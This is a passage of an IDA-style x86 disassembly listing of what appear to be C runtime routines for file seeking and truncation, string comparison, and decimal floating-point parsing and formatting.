loc_41E32F test [ebp+var_8], 1 jnz short loc_41E348 loc_41E32F: ; CODE XREF: sub_41E283+8Dj ; sub_41E283+A4j cmp dword_47C1D0, 4 jb short loc_41E342 or [ebp+arg_A], 20h jmp short loc_41E367 ; --------------------------------------------------------------------------- loc_41E33E: ; CODE XREF: sub_41E283+22j ; sub_41E283+3Dj xor eax, eax jmp short loc_41E377 ; --------------------------------------------------------------------------- loc_41E342: ; CODE XREF: sub_41E283+B3j or [ebp+arg_A], 4 jmp short loc_41E367 ; --------------------------------------------------------------------------- loc_41E348: ; CODE XREF: sub_41E283+87j ; sub_41E283+AAj mov eax, dword_47C530 test eax, eax jz short loc_41E367 call eax mov ebx, eax test ebx, ebx jz short loc_41E367 mov eax, dword_47C534 test eax, eax jz short loc_41E367 push ebx call eax mov ebx, eax loc_41E367: ; CODE XREF: sub_41E283+B9j ; sub_41E283+C3j ... push dword ptr [ebp+10h] push [ebp+arg_4] push [ebp+arg_0] push ebx call dword_47C52C loc_41E377: ; CODE XREF: sub_41E283+BDj pop edi pop esi pop ebx leave retn sub_41E283 endp ; =============== S U B R O U T I N E ======================================= sub_41E37C proc near ; CODE XREF: sub_41E3AD+8p arg_0 = byte ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch movzx eax, [esp+arg_0] mov cl, [esp+arg_8] test byte_47C761[eax], cl jnz short loc_41E3A9 cmp [esp+arg_4], 0 jz short loc_41E3A2 movzx eax, ds:word_4290B2[eax*2] and eax, [esp+arg_4] jmp short loc_41E3A4 ; --------------------------------------------------------------------------- loc_41E3A2: ; CODE XREF: sub_41E37C+16j xor eax, eax loc_41E3A4: ; CODE XREF: sub_41E37C+24j test eax, eax jnz short loc_41E3A9 retn ; --------------------------------------------------------------------------- loc_41E3A9: ; CODE XREF: sub_41E37C+Fj ; sub_41E37C+2Aj xor eax, eax inc eax retn sub_41E37C endp ; =============== S U B R O U T I N E ======================================= sub_41E3AD proc near ; CODE XREF: sub_41B70D+35p arg_0 = dword ptr 4 push 4 push 0 push [esp+8+arg_0] call sub_41E37C add esp, 0Ch retn sub_41E3AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E3BE proc near ; CODE XREF: sub_41BD6B+54p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push esi mov esi, [ebp+arg_0] mov [ebp+var_8], eax mov eax, [ebp+arg_8] push edi push esi mov [ebp+var_4], eax call sub_41CB4B or edi, 0FFFFFFFFh cmp eax, edi pop ecx jnz short loc_41E3EF call sub_419430 mov dword ptr [eax], 9 jmp short loc_41E418 ; --------------------------------------------------------------------------- loc_41E3EF: ; CODE XREF: sub_41E3BE+22j push [ebp+arg_C] lea ecx, [ebp+var_4] push ecx push [ebp+var_8] push eax call ds:dword_420090 ; SetFilePointer cmp eax, edi mov [ebp+var_8], eax jnz short loc_41E41E call ds:dword_420008 ; RtlGetLastWin32Error test eax, eax jz short loc_41E41E push eax call sub_419442 pop ecx loc_41E418: ; CODE XREF: sub_41E3BE+2Fj mov eax, edi mov edx, edi jmp short loc_41E43D ; --------------------------------------------------------------------------- loc_41E41E: ; CODE XREF: sub_41E3BE+47j ; sub_41E3BE+51j mov eax, esi sar eax, 5 mov eax, dword_47C640[eax*4] and esi, 1Fh lea ecx, [esi+esi*8] lea eax, [eax+ecx*4+4] and byte ptr [eax], 0FDh mov eax, [ebp+var_8] mov edx, [ebp+var_4] loc_41E43D: ; CODE XREF: sub_41E3BE+5Ej pop edi pop esi leave retn sub_41E3BE endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+0Ch] mov edi, [ebp+8] mov al, 0FFh mov edi, edi loc_41E460: ; CODE XREF: .text:0041E470j ; .text:0041E490j or al, al jz short loc_41E496 mov al, [esi] add esi, 1 mov ah, [edi] add edi, 1 cmp ah, al jz short loc_41E460 sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_41E460 sbb al, al sbb al, 0FFh loc_41E496: ; CODE XREF: .text:0041E462j movsx eax, al pop ebx pop esi pop edi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E49E proc near ; CODE XREF: sub_41D38D+2BDp var_100C = byte ptr -100Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 100Ch call sub_414630 mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx push esi push 1 xor esi, esi push esi push [ebp+arg_0] mov [ebp+var_4], eax call sub_41B178 or ebx, 0FFFFFFFFh add esp, 0Ch cmp eax, ebx mov [ebp+var_8], eax jz loc_41E5C8 push 2 push esi push [ebp+arg_0] call sub_41B178 add esp, 0Ch cmp eax, ebx jz loc_41E5C8 push edi mov edi, [ebp+arg_4] sub edi, eax test edi, edi jle short loc_41E56B mov ebx, 1000h push ebx lea eax, [ebp+var_100C] push esi push eax call sub_41C380 push 8000h push [ebp+arg_0] call sub_41F071 add esp, 14h mov [ebp+var_C], eax loc_41E51C: ; CODE XREF: sub_41E49E+A2j cmp edi, ebx mov eax, ebx jge short loc_41E524 mov eax, edi loc_41E524: ; CODE XREF: sub_41E49E+82j push eax lea eax, [ebp+var_100C] push eax push [ebp+arg_0] call sub_41BD6B add esp, 0Ch cmp eax, 0FFFFFFFFh jz short loc_41E544 sub edi, eax test edi, edi jg short loc_41E51C jmp short loc_41E55C ; --------------------------------------------------------------------------- loc_41E544: ; CODE XREF: sub_41E49E+9Cj call sub_419439 cmp dword ptr [eax], 5 jnz short loc_41E559 call sub_419430 mov dword ptr [eax], 0Dh loc_41E559: ; CODE XREF: sub_41E49E+AEj or esi, 0FFFFFFFFh loc_41E55C: ; CODE XREF: sub_41E49E+A4j push [ebp+var_C] push [ebp+arg_0] call sub_41F071 pop ecx pop ecx jmp short loc_41E5B3 ; --------------------------------------------------------------------------- loc_41E56B: ; CODE XREF: sub_41E49E+56j jge short loc_41E5B3 push 0 push [ebp+arg_4] push [ebp+arg_0] call sub_41B178 push [ebp+arg_0] call sub_41CB4B add esp, 10h push eax call ds:dword_420134 ; SetEndOfFile mov esi, eax neg esi sbb esi, esi neg esi dec esi cmp esi, ebx jnz short loc_41E5B3 call sub_419430 mov dword ptr [eax], 0Dh call sub_419439 mov edi, eax call ds:dword_420008 ; RtlGetLastWin32Error mov [edi], eax loc_41E5B3: ; CODE XREF: sub_41E49E+CBj ; sub_41E49E:loc_41E56Bj ... push 0 push [ebp+var_8] push [ebp+arg_0] call sub_41B178 add esp, 0Ch mov eax, esi pop edi jmp short loc_41E5CA ; --------------------------------------------------------------------------- loc_41E5C8: ; CODE XREF: sub_41E49E+32j ; sub_41E49E+48j mov eax, ebx loc_41E5CA: ; CODE XREF: sub_41E49E+128j mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop esi pop ebx call sub_41A026 leave retn sub_41E49E endp ; =============== S U B R O U T I N E ======================================= sub_41E5D9 proc near ; CODE XREF: sub_41D6FB+23p ; sub_41D6FB+3Ap ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] push esi mov esi, [esp+4+arg_4] lea ecx, [edx+esi] xor eax, eax cmp ecx, edx jb short loc_41E5EF cmp ecx, esi jnb short loc_41E5F2 loc_41E5EF: ; CODE XREF: sub_41E5D9+10j xor eax, eax inc eax loc_41E5F2: ; CODE XREF: sub_41E5D9+14j mov edx, [esp+4+arg_8] mov [edx], ecx pop esi retn sub_41E5D9 endp ; =============== S U B R O U T I N E ======================================= sub_41E5FA proc near ; CODE XREF: sub_41E6B3+4Bp ; sub_41E6B3+6Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] push edi mov edi, [esp+8+arg_4] push esi push dword ptr [edi] push dword ptr [esi] call sub_41E5D9 add esp, 0Ch test eax, eax jz short loc_41E62C lea eax, [esi+4] push eax push 1 push dword ptr [eax] call sub_41E5D9 add esp, 0Ch test eax, eax jz short loc_41E62C inc dword ptr [esi+8] loc_41E62C: ; CODE XREF: sub_41E5FA+19j ; sub_41E5FA+2Dj lea eax, [esi+4] push eax push dword ptr [edi+4] push dword ptr [eax] call sub_41E5D9 add esp, 0Ch test eax, eax jz short loc_41E644 inc dword ptr [esi+8] loc_41E644: ; CODE XREF: sub_41E5FA+45j lea eax, [esi+8] push eax push dword ptr [edi+8] push dword ptr [eax] call sub_41E5D9 add esp, 0Ch pop edi pop esi retn sub_41E5FA endp ; =============== S U B R O U T I N E ======================================= sub_41E658 proc near ; CODE XREF: sub_41E6B3+3Bp ; sub_41E6B3+41p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, [eax] mov ecx, esi add esi, esi push edi mov edi, [eax+4] shr ecx, 1Fh mov [eax], esi lea esi, [edi+edi] or esi, ecx mov ecx, [eax+8] mov edx, edi shr edx, 1Fh shl ecx, 1 or ecx, edx pop edi mov [eax+4], esi mov [eax+8], ecx pop esi retn sub_41E658 endp ; =============== S U B R O U T I N E ======================================= sub_41E686 proc near ; CODE XREF: sub_41EBD1+1C1p ; sub_41F0D3+18Ap arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov edx, [eax+8] mov ecx, [eax+4] push esi push edi mov edi, ecx mov esi, edx shr ecx, 1 shl esi, 1Fh or ecx, esi mov [eax+4], ecx mov ecx, [eax] shl edi, 1Fh shr ecx, 1 or ecx, edi shr edx, 1 pop edi mov [eax+8], edx mov [eax], ecx pop esi retn sub_41E686 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E6B3 proc near ; CODE XREF: sub_41E797+362p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx mov ebx, [ebp+arg_8] xor edx, edx mov [ebp+var_4], eax mov eax, [ebp+arg_4] cmp eax, edx push esi push edi mov [ebp+var_8], 404Eh mov [ebx], edx mov [ebx+4], edx mov [ebx+8], edx jbe short loc_41E731 mov [ebp+arg_8], eax loc_41E6E5: ; CODE XREF: sub_41E6B3+7Aj mov esi, ebx lea edi, [ebp+var_14] movsd movsd push ebx movsd call sub_41E658 push ebx call sub_41E658 lea eax, [ebp+var_14] push eax push ebx call sub_41E5FA push ebx call sub_41E658 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax] and [ebp+var_10], 0 and [ebp+var_C], 0 mov [ebp+var_14], eax lea eax, [ebp+var_14] push eax push ebx call sub_41E5FA add esp, 1Ch inc [ebp+arg_0] dec [ebp+arg_8] jnz short loc_41E6E5 xor edx, edx loc_41E731: ; CODE XREF: sub_41E6B3+2Dj cmp [ebx+8], edx jnz short loc_41E765 mov edi, [ebx+8] loc_41E739: ; CODE XREF: sub_41E6B3+ADj mov ecx, [ebx+4] add [ebp+var_8], 0FFF0h mov eax, ecx shr eax, 10h mov edi, eax mov eax, [ebx] mov esi, eax shr esi, 10h shl ecx, 10h or esi, ecx shl eax, 10h cmp edi, edx mov [ebx+4], esi mov [ebx], eax jz short loc_41E739 mov [ebx+8], edi loc_41E765: ; CODE XREF: sub_41E6B3+81j mov esi, 8000h jmp short loc_41E77A ; --------------------------------------------------------------------------- loc_41E76C: ; CODE XREF: sub_41E6B3+CAj push ebx call sub_41E658 add [ebp+var_8], 0FFFFh pop ecx loc_41E77A: ; CODE XREF: sub_41E6B3+B7j test [ebx+8], esi jz short loc_41E76C mov ecx, [ebp+var_4] mov ax, word ptr [ebp+var_8] xor ecx, [ebp+4] pop edi pop esi mov [ebx+0Ah], ax pop ebx call sub_41A026 leave retn sub_41E6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41E797 proc near ; CODE XREF: sub_41D9ED+22p ; sub_41DA30+22p var_58 = byte ptr -58h var_41 = byte ptr -41h var_3C = dword ptr -3Ch var_36 = dword ptr -36h var_32 = dword ptr -32h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 58h mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx push esi mov [ebp+var_4], eax xor eax, eax push edi mov edi, [ebp+arg_8] lea esi, [ebp+var_58] mov [ebp+var_8], esi mov [ebp+var_2C], eax mov [ebp+var_1C], 1 mov [ebp+var_C], eax mov [ebp+var_14], eax mov [ebp+var_28], eax mov [ebp+var_24], eax mov [ebp+var_20], eax mov [ebp+var_10], eax mov [ebp+var_18], eax mov [ebp+arg_8], edi loc_41E7D8: ; CODE XREF: sub_41E797+58j mov cl, [edi] cmp cl, 20h jz short loc_41E7EE cmp cl, 9 jz short loc_41E7EE cmp cl, 0Ah jz short loc_41E7EE cmp cl, 0Dh jnz short loc_41E7F1 loc_41E7EE: ; CODE XREF: sub_41E797+46j ; sub_41E797+4Bj ... inc edi jmp short loc_41E7D8 ; --------------------------------------------------------------------------- loc_41E7F1: ; CODE XREF: sub_41E797+55j ; sub_41E797+B5j ... mov bl, [edi] inc edi cmp eax, 0Bh ; switch 12 cases ja loc_41EA70 ; default ; jumptable 0041E7FD case 10 jmp ds:off_41EBA1[eax*4] ; switch jump loc_41E804: ; DATA XREF: .text:off_41EBA1o cmp bl, 31h ; jumptable 0041E7FD case 0 jl short loc_41E815 cmp bl, 39h jg short loc_41E815 loc_41E80E: ; CODE XREF: sub_41E797+CEj ; sub_41E797+129j push 3 jmp loc_41EA2F ; --------------------------------------------------------------------------- loc_41E815: ; CODE XREF: sub_41E797+70j ; sub_41E797+75j cmp bl, byte_42E108 jnz short loc_41E824 loc_41E81D: ; CODE XREF: sub_41E797+135j push 5 jmp loc_41EA66 ; --------------------------------------------------------------------------- loc_41E824: ; CODE XREF: sub_41E797+84j movsx eax, bl sub eax, 2Bh jz short loc_41E84E dec eax dec eax jz short loc_41E842 sub eax, 3 jz loc_41E8DB mov [ebp+var_8], esi dec edi jmp loc_41E9ED ; --------------------------------------------------------------------------- loc_41E842: ; CODE XREF: sub_41E797+97j push 2 pop eax mov [ebp+var_2C], 8000h jmp short loc_41E7F1 ; --------------------------------------------------------------------------- loc_41E84E: ; CODE XREF: sub_41E797+93j and [ebp+var_2C], 0 push 2 pop eax jmp short loc_41E7F1 ; --------------------------------------------------------------------------- loc_41E857: ; CODE XREF: sub_41E797+66j ; DATA XREF: .text:off_41EBA1o xor eax, eax ; jumptable 0041E7FD case 1 inc eax cmp bl, 31h mov [ebp+var_14], eax jl short loc_41E867 cmp bl, 39h jle short loc_41E80E loc_41E867: ; CODE XREF: sub_41E797+C9j cmp bl, byte_42E108 jnz short loc_41E876 loc_41E86F: ; CODE XREF: sub_41E797+182j push 4 jmp loc_41EA66 ; --------------------------------------------------------------------------- loc_41E876: ; CODE XREF: sub_41E797+D6j cmp bl, 2Bh jz short loc_41E8B0 cmp bl, 2Dh jz short loc_41E8B0 cmp bl, 30h jz loc_41E7F1 loc_41E889: ; CODE XREF: sub_41E797+1DAj cmp bl, 43h jle loc_41E9E9 cmp bl, 45h jle short loc_41E8A9 cmp bl, 63h jle loc_41E9E9 cmp bl, 65h jg loc_41E9E9 loc_41E8A9: ; CODE XREF: sub_41E797+FEj push 6 jmp loc_41EA66 ; --------------------------------------------------------------------------- loc_41E8B0: ; CODE XREF: sub_41E797+E2j ; sub_41E797+E7j ... dec edi push 0Bh jmp loc_41EA66 ; --------------------------------------------------------------------------- loc_41E8B8: ; CODE XREF: sub_41E797+66j ; DATA XREF: .text:off_41EBA1o cmp bl, 31h ; jumptable 0041E7FD case 2 jl short loc_41E8C6 cmp bl, 39h jle loc_41E80E loc_41E8C6: ; CODE XREF: sub_41E797+124j cmp bl, byte_42E108 jz loc_41E81D cmp bl, 30h jnz loc_41EA3B loc_41E8DB: ; CODE XREF: sub_41E797+9Cj xor eax, eax inc eax jmp loc_41E7F1 ; --------------------------------------------------------------------------- loc_41E8E3: ; CODE XREF: sub_41E797+66j ; DATA XREF: .text:off_41EBA1o mov [ebp+var_14], 1 ; jumptable 0041E7FD case 3 jmp short loc_41E903 ; --------------------------------------------------------------------------- loc_41E8EC: ; CODE XREF: sub_41E797+178j cmp [ebp+var_C], 19h jnb short loc_41E8FD inc [ebp+var_C] sub bl, 30h mov [esi], bl inc esi jmp short loc_41E900 ; --------------------------------------------------------------------------- loc_41E8FD: ; CODE XREF: sub_41E797+159j inc [ebp+var_10] loc_41E900: ; CODE XREF: sub_41E797+164j mov bl, [edi] inc edi loc_41E903: ; CODE XREF: sub_41E797+153j movzx eax, bl push eax call sub_41C16B test eax, eax pop ecx jnz short loc_41E8EC cmp bl, byte_42E108 jnz short loc_41E95F jmp loc_41E86F ; --------------------------------------------------------------------------- loc_41E91E: ; CODE XREF: sub_41E797+66j ; DATA XREF: .text:off_41EBA1o xor eax, eax ; jumptable 0041E7FD case 4 inc eax cmp [ebp+var_C], 0 mov [ebp+var_14], eax mov [ebp+var_28], eax jnz short loc_41E951 jmp short loc_41E935 ; --------------------------------------------------------------------------- loc_41E92F: ; CODE XREF: sub_41E797+1A1j dec [ebp+var_10] mov bl, [edi] inc edi loc_41E935: ; CODE XREF: sub_41E797+196j cmp bl, 30h jz short loc_41E92F jmp short loc_41E951 ; --------------------------------------------------------------------------- loc_41E93C: ; CODE XREF: sub_41E797+1C6j cmp [ebp+var_C], 19h jnb short loc_41E94E inc [ebp+var_C] sub bl, 30h mov [esi], bl inc esi dec [ebp+var_10] loc_41E94E: ; CODE XREF: sub_41E797+1A9j mov bl, [edi] inc edi loc_41E951: ; CODE XREF: sub_41E797+194j ; sub_41E797+1A3j movzx eax, bl push eax call sub_41C16B test eax, eax pop ecx jnz short loc_41E93C loc_41E95F: ; CODE XREF: sub_41E797+180j cmp bl, 2Bh jz loc_41E8B0 cmp bl, 2Dh jz loc_41E8B0 jmp loc_41E889 ; --------------------------------------------------------------------------- loc_41E976: ; CODE XREF: sub_41E797+66j ; DATA XREF: .text:off_41EBA1o movzx eax, bl ; jumptable 0041E7FD case 5 push eax mov [ebp+var_28], 1 call sub_41C16B test eax, eax pop ecx jz loc_41EA3B push 4 jmp loc_41EA2F ; --------------------------------------------------------------------------- loc_41E996: ; CODE XREF: sub_41E797+66j ; DATA XREF: .text:off_41EBA1o cmp bl, 31h ; jumptable 0041E7FD case 6 lea ecx, [edi-2] mov [ebp+arg_8], ecx jl short loc_41E9AA cmp bl, 39h jle loc_41EA2D loc_41E9AA: ; CODE XREF: sub_41E797+208j movsx eax, bl sub eax, 2Bh jz loc_41EA64 dec eax dec eax jz loc_41EA58 sub eax, 3 jnz loc_41EA7E loc_41E9C7: ; CODE XREF: sub_41E797+2A2j push 8 jmp loc_41EA66 ; --------------------------------------------------------------------------- loc_41E9CE: ; CODE XREF: sub_41E797+66j ; DATA XREF: .text:off_41EBA1o mov [ebp+var_24], 1 ; jumptable 0041E7FD case 8 jmp short loc_41E9DA ; --------------------------------------------------------------------------- loc_41E9D7: ; CODE XREF: sub_41E797+246j mov bl, [edi] inc edi loc_41E9DA: ; CODE XREF: sub_41E797+23Ej cmp bl, 30h jz short loc_41E9D7 cmp bl, 31h jl short loc_41E9E9 cmp bl, 39h jle short loc_41EA2D loc_41E9E9: ; CODE XREF: sub_41E797+F5j ; sub_41E797+103j ... dec edi loc_41E9EA: ; CODE XREF: sub_41E797+2A7j ; sub_41E797+2E2j mov [ebp+var_8], esi loc_41E9ED: ; CODE XREF: sub_41E797+A6j ; sub_41E797+2ECj ... cmp [ebp+var_14], 0 mov eax, [ebp+arg_4] mov [eax], edi jz loc_41EB4C push 18h pop eax cmp [ebp+var_C], eax jbe short loc_41EA14 cmp [ebp+var_41], 5 jl short loc_41EA0D inc [ebp+var_41] loc_41EA0D: ; CODE XREF: sub_41E797+271j dec esi inc [ebp+var_10] mov [ebp+var_C], eax loc_41EA14: ; CODE XREF: sub_41E797+26Bj cmp [ebp+var_C], 0 jbe loc_41EB73 jmp loc_41EAE8 ; --------------------------------------------------------------------------- loc_41EA23: ; CODE XREF: sub_41E797+66j ; DATA XREF: .text:off_41EBA1o cmp bl, 31h ; jumptable 0041E7FD case 7 jl short loc_41EA36 cmp bl, 39h jg short loc_41EA36 loc_41EA2D: ; CODE XREF: sub_41E797+20Dj ; sub_41E797+250j push 9 loc_41EA2F: ; CODE XREF: sub_41E797+79j ; sub_41E797+1FAj pop eax dec edi jmp loc_41E7F1 ; --------------------------------------------------------------------------- loc_41EA36: ; CODE XREF: sub_41E797+28Fj ; sub_41E797+294j cmp bl, 30h jz short loc_41E9C7 loc_41EA3B: ; CODE XREF: sub_41E797+13Ej ; sub_41E797+1F2j mov edi, [ebp+arg_8] jmp short loc_41E9EA ; --------------------------------------------------------------------------- loc_41EA40: ; CODE XREF: sub_41E797+66j ; DATA XREF: .text:off_41EBA1o cmp [ebp+arg_18], 0 ; jumptable 0041E7FD case 11 jz short loc_41EA6C movsx eax, bl sub eax, 2Bh lea ecx, [edi-1] mov [ebp+arg_8], ecx jz short loc_41EA64 dec eax dec eax jnz short loc_41EA7E loc_41EA58: ; CODE XREF: sub_41E797+221j or [ebp+var_1C], 0FFFFFFFFh push 7 pop eax jmp loc_41E7F1 ; --------------------------------------------------------------------------- loc_41EA64: ; CODE XREF: sub_41E797+219j ; sub_41E797+2BBj push 7 loc_41EA66: ; CODE XREF: sub_41E797+88j ; sub_41E797+DAj ... pop eax jmp loc_41E7F1 ; --------------------------------------------------------------------------- loc_41EA6C: ; CODE XREF: sub_41E797+2ADj push 0Ah pop eax dec edi loc_41EA70: ; CODE XREF: sub_41E797+60j ; sub_41E797+66j ; DATA XREF: ... cmp eax, 0Ah ; default ; jumptable 0041E7FD case 10 jnz loc_41E7F1 jmp loc_41E9EA ; --------------------------------------------------------------------------- loc_41EA7E: ; CODE XREF: sub_41E797+22Aj ; sub_41E797+2BFj mov [ebp+var_8], esi mov edi, ecx jmp loc_41E9ED ; --------------------------------------------------------------------------- loc_41EA88: ; CODE XREF: sub_41E797+66j ; DATA XREF: .text:off_41EBA1o mov [ebp+var_8], esi ; jumptable 0041E7FD case 9 mov [ebp+var_24], 1 xor esi, esi jmp short loc_41EAAB ; --------------------------------------------------------------------------- loc_41EA96: ; CODE XREF: sub_41E797+320j movsx ecx, bl lea eax, [esi+esi*4] lea esi, [ecx+eax*2-30h] cmp esi, 1450h jg short loc_41EABB mov bl, [edi] inc edi loc_41EAAB: ; CODE XREF: sub_41E797+2FDj movzx eax, bl push eax call sub_41C16B test eax, eax pop ecx jnz short loc_41EA96 jmp short loc_41EAC0 ; --------------------------------------------------------------------------- loc_41EABB: ; CODE XREF: sub_41E797+30Fj mov esi, 1451h loc_41EAC0: ; CODE XREF: sub_41E797+322j mov [ebp+var_20], esi movzx eax, bl jmp short loc_41EACE ; --------------------------------------------------------------------------- loc_41EAC8: ; CODE XREF: sub_41E797+340j mov al, [edi] inc edi movzx eax, al loc_41EACE: ; CODE XREF: sub_41E797+32Fj push eax call sub_41C16B test eax, eax pop ecx jnz short loc_41EAC8 mov esi, [ebp+var_8] dec edi jmp loc_41E9ED ; --------------------------------------------------------------------------- loc_41EAE2: ; CODE XREF: sub_41E797+355j dec [ebp+var_C] inc [ebp+var_10] loc_41EAE8: ; CODE XREF: sub_41E797+287j dec esi cmp byte ptr [esi], 0 jz short loc_41EAE2 lea eax, [ebp+var_3C] push eax push [ebp+var_C] lea eax, [ebp+var_58] push eax call sub_41E6B3 mov eax, [ebp+var_20] xor ecx, ecx add esp, 0Ch cmp [ebp+var_1C], ecx jge short loc_41EB0D neg eax loc_41EB0D: ; CODE XREF: sub_41E797+372j add eax, [ebp+var_10] cmp [ebp+var_24], ecx jnz short loc_41EB18 add eax, [ebp+arg_10] loc_41EB18: ; CODE XREF: sub_41E797+37Cj cmp [ebp+var_28], ecx jnz short loc_41EB20 sub eax, [ebp+arg_14] loc_41EB20: ; CODE XREF: sub_41E797+384j cmp eax, 1450h jg short loc_41EB55 cmp eax, 0FFFFEBB0h jl short loc_41EB6C push [ebp+arg_C] push eax lea eax, [ebp+var_3C] push eax call sub_41F30B mov edx, [ebp+var_3C] mov ebx, [ebp+var_3C+2] mov esi, [ebp+var_36] mov eax, [ebp+var_32] add esp, 0Ch jmp short loc_41EB7B ; --------------------------------------------------------------------------- loc_41EB4C: ; CODE XREF: sub_41E797+25Fj mov [ebp+var_18], 4 jmp short loc_41EB73 ; --------------------------------------------------------------------------- loc_41EB55: ; CODE XREF: sub_41E797+38Ej xor ebx, ebx mov eax, 7FFFh mov esi, 80000000h xor edx, edx mov [ebp+var_18], 2 jmp short loc_41EB7B ; --------------------------------------------------------------------------- loc_41EB6C: ; CODE XREF: sub_41E797+395j mov [ebp+var_18], 1 loc_41EB73: ; CODE XREF: sub_41E797+281j ; sub_41E797+3BCj xor edx, edx xor eax, eax xor esi, esi xor ebx, ebx loc_41EB7B: ; CODE XREF: sub_41E797+3B3j ; sub_41E797+3D3j mov ecx, [ebp+arg_0] or eax, [ebp+var_2C] mov [ecx+2], ebx mov [ecx+6], esi mov [ecx+0Ah], ax mov eax, [ebp+var_18] mov [ecx], dx mov ecx, [ebp+var_4] xor ecx, [ebp+4] pop edi pop esi pop ebx call sub_41A026 leave retn sub_41E797 endp ; --------------------------------------------------------------------------- off_41EBA1 dd offset loc_41E804 ; DATA XREF: sub_41E797+66r dd offset loc_41E857 ; jump table for switch statement dd offset loc_41E8B8 dd offset loc_41E8E3 dd offset loc_41E91E dd offset loc_41E976 dd offset loc_41E996 dd offset loc_41EA23 dd offset loc_41E9CE dd offset loc_41EA88 dd offset loc_41EA70 dd offset loc_41EA40 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41EBD1 proc near ; CODE XREF: sub_41DBA4+36p var_30 = byte ptr -30h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = byte ptr -22h var_21 = byte ptr -21h var_20 = byte ptr -20h var_1F = byte ptr -1Fh var_1E = byte ptr -1Eh var_1D = byte ptr -1Dh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = byte ptr -1Ah var_19 = byte ptr -19h var_18 = word ptr -18h var_16 = dword ptr -16h var_12 = dword ptr -12h var_E = word ptr -0Eh var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 30h mov eax, dword_42DEB8 xor eax, [ebp+4] push ebx mov ebx, [ebp+arg_14] mov [ebp+var_4], eax mov eax, [ebp+arg_8] push esi mov ecx, eax mov esi, 7FFFh and ecx, 8000h and eax, esi test cx, cx push edi mov [ebp+var_24], 0CCh mov [ebp+var_23], 0CCh mov [ebp+var_22], 0CCh mov [ebp+var_21], 0CCh mov [ebp+var_20], 0CCh mov [ebp+var_1F], 0CCh mov [ebp+var_1E], 0CCh mov [ebp+var_1D], 0CCh mov [ebp+var_1C], 0CCh mov [ebp+var_1B], 0CCh mov [ebp+var_1A], 0FBh mov [ebp+var_19], 3Fh mov [ebp+var_8], 1 mov edx, eax jz short loc_41EC3E mov byte ptr [ebx+2], 2Dh jmp short loc_41EC42 ; --------------------------------------------------------------------------- loc_41EC3E: ; CODE XREF: sub_41EBD1+65j mov byte ptr [ebx+2], 20h loc_41EC42: ; CODE XREF: sub_41EBD1+6Bj test dx, dx mov edi, [ebp+arg_4] jnz short loc_41EC57 test edi, edi jnz short loc_41EC57 cmp [ebp+arg_0], edi jz loc_41ED4A loc_41EC57: ; CODE XREF: sub_41EBD1+77j ; sub_41EBD1+7Bj cmp dx, si jnz short loc_41ECD4 mov eax, 80000000h cmp edi, eax mov word ptr [ebx], 1 jnz short loc_41EC70 cmp [ebp+arg_0], 0 jz short loc_41EC7F loc_41EC70: ; CODE XREF: sub_41EBD1+97j test edi, 40000000h jnz short loc_41EC7F push offset a1Snan ; "1#SNAN" jmp short loc_41ECC5 ; --------------------------------------------------------------------------- loc_41EC7F: ; CODE XREF: sub_41EBD1+9Dj ; sub_41EBD1+A5j test cx, cx jz short loc_41EC99 cmp edi, 0C0000000h jnz short loc_41EC99 cmp [ebp+arg_0], 0 jnz short loc_41ECC0 push offset a1Ind ; "1#IND" jmp short loc_41ECA8 ; --------------------------------------------------------------------------- loc_41EC99: ; CODE XREF: sub_41EBD1+B1j ; sub_41EBD1+B9j cmp edi, eax jnz short loc_41ECC0 cmp [ebp+arg_0], 0 jnz short loc_41ECC0 push offset a1Inf ; "1#INF" loc_41ECA8: ; CODE XREF: sub_41EBD1+C6j lea eax, [ebx+4] push eax call sub_419A70 mov byte ptr [ebx+3], 5 loc_41ECB5: ; CODE XREF: sub_41EBD1+101j and [ebp+var_8], 0 pop 